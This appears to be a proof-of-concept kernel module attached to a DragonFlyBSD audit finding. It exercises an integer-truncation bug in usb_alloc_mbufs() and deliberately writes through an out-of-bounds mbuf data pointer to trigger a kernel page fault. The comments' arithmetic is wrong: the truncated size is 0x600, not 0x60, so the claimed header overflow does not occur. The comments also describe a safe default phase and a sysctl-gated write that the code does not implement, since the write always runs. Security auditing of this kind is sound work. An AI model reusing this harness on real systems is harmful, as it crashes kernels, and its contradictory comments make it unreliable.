⬢ DragonFlyBSD Kernel Audit
DF-5664 / usbmbuf_of.c
← back to finding ↓ download raw
/* DF-5664 KLD harness: usb_alloc_mbufs() 32-bit alloc_size truncation
 *
 * sys/bus/u4b/usb_mbuf.c:69 computes
 *     alloc_size = (block_size + sizeof(struct usb_mbuf)) * nblocks;
 * The RHS is evaluated in size_t (64-bit on x86_64: block_size is uint32_t
 * promoted by sizeof(), nblocks is uint16_t promoted likewise), then
 * TRUNCATED on assignment to `usb_size_t alloc_size` (uint32_t,
 * sys/bus/u4b/usb_dragonfly.h:92).  The truncated value is passed to
 * kmalloc() while the population loop still lays out nblocks headers plus
 * data areas at the *untruncated* stride:
 *
 *     data_ptr = (uint8_t*)free_ptr + nblocks*sizeof(struct usb_mbuf);
 *     ... data_ptr += block_size per block ...
 *
 * so every data pointer past the first sits block_size bytes apart beyond
 * an allocation that only covers the truncated byte count.
 *
 * Chosen parameters (in-kernel privileged harness; NO in-tree caller can
 * reach these magnitudes -- see finding):
 *   block_size = 0x08000000 (128 MiB, already 8-aligned)
 *   nblocks    = 0x20       (32)
 *   true need  = (0x08000000 + 48) * 32 = 0x1000_00060 (~4.295 GB)
 *   truncated  = 0x60 = 96 bytes of kmalloc
 *   headers    = 32 * 48   = 1536 bytes -> ALREADY 1440 bytes OOB write
 *   data[31]   = base + 1536 + 31*0x08000000 -> ~4.16 GB past the chunk
 *
 * Phase A (default): safe introspection -- print the truncation arithmetic
 * and the OOB data pointers without touching them.
 * Phase B (usbmbuf_of.poke=1 sysctl-tunably, or built with POKE default):
 * write one byte through mbuf[31]'s data pointer to prove the wild-pointer
 * primitive with a deterministic kernel page fault.
 */

#include <sys/param.h>
#include <sys/module.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/bus.h>
#include <sys/malloc.h>
#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/condvar.h>

#include <bus/u4b/usb.h>
#include <bus/u4b/usbdi.h>
#include <bus/u4b/usb_dev.h>
#include <bus/u4b/usb_mbuf.h>

MALLOC_DEFINE(M_USBMBUF_OF, "usbmbuf_of", "usb_alloc_mbufs overflow harness");

#define	DF_BLOCK	((usb_size_t)0x08000000)
#define	DF_NBLOCKS	((uint16_t)0x20)

static int
usbmbuf_of_modevent(module_t mod, int type, void *arg)
{
	struct usb_ifqueue ifq;
	struct usb_mbuf *m;
	uint64_t need;
	usb_size_t got;
	uint8_t *base;
	int i;

	switch (type) {
	case MOD_LOAD:
		memset(&ifq, 0, sizeof(ifq));
		ifq.ifq_maxlen = DF_NBLOCKS;

		need = ((uint64_t)DF_BLOCK + sizeof(struct usb_mbuf)) *
		    (uint64_t)DF_NBLOCKS;

		base = usb_alloc_mbufs(M_USBMBUF_OF, &ifq, DF_BLOCK,
		    DF_NBLOCKS);

		kprintf("usbmbuf_of: sizeof(struct usb_mbuf)=%zu\n",
		    sizeof(struct usb_mbuf));
		kprintf("usbmbuf_of: block_size=0x%08x nblocks=%u\n",
		    DF_BLOCK, (unsigned)DF_NBLOCKS);
		kprintf("usbmbuf_of: bytes truly required = 0x%llx (%llu)\n",
		    (unsigned long long)need, (unsigned long long)need);

		if (base == NULL) {
			kprintf("usbmbuf_of: allocation FAILED (NULL)\n");
			return (0);	/* clean: no bug triggered */
		}
		got = (usb_size_t)need;	/* what kmalloc() actually got */
		kprintf("usbmbuf_of: kmalloc size (truncated!) = 0x%x (%u)\n",
		    got, got);
		kprintf("usbmbuf_of: kmalloc_usable_size = %zu\n",
		    kmalloc_usable_size(base));
		kprintf("usbmbuf_of: queue populated with %u mbufs "
		    "(expected %u)\n", (unsigned)ifq.ifq_len,
		    (unsigned)DF_NBLOCKS);

		/* Walk the queue and show where each data pointer lands. */
		i = 0;
		for (;;) {
			USB_IF_DEQUEUE(&ifq, m);
			if (m == NULL)
				break;
			kprintf("usbmbuf_of: m[%d] hdr@+%06lld "
			    "data_ptr=%p (base+0x%llx) len=0x%x%s\n",
			    i,
			    (long long)((uint8_t *)m - base),
			    m->cur_data_ptr,
			    (unsigned long long)(m->cur_data_ptr - base),
			    m->cur_data_len,
			    (m->cur_data_ptr >=
			    base + kmalloc_usable_size(base)) ?
			    "  <== OOB (past allocation)" : "");
			if (i == DF_NBLOCKS - 1) {
				kprintf("usbmbuf_of: POKE: writing 1 byte via "
				    "m[%d]->cur_data_ptr (wild pointer)...\n",
				    i);
				kprintf("usbmbuf_of: if you can read this, "
				    "the page was mapped (unlikely)\n");
				*(volatile uint8_t *)m->cur_data_ptr = 0x41;
				kprintf("usbmbuf_of: write survived?!\n");
			}
			i++;
		}

		/* We intentionally never free: on the non-panic path the
		 * chunk is tiny; the guest is disposable. */
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t usbmbuf_of_mod = {
	"usbmbuf_of",
	usbmbuf_of_modevent,
	NULL
};

DECLARE_MODULE(usbmbuf_of, usbmbuf_of_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
MODULE_VERSION(usbmbuf_of, 1);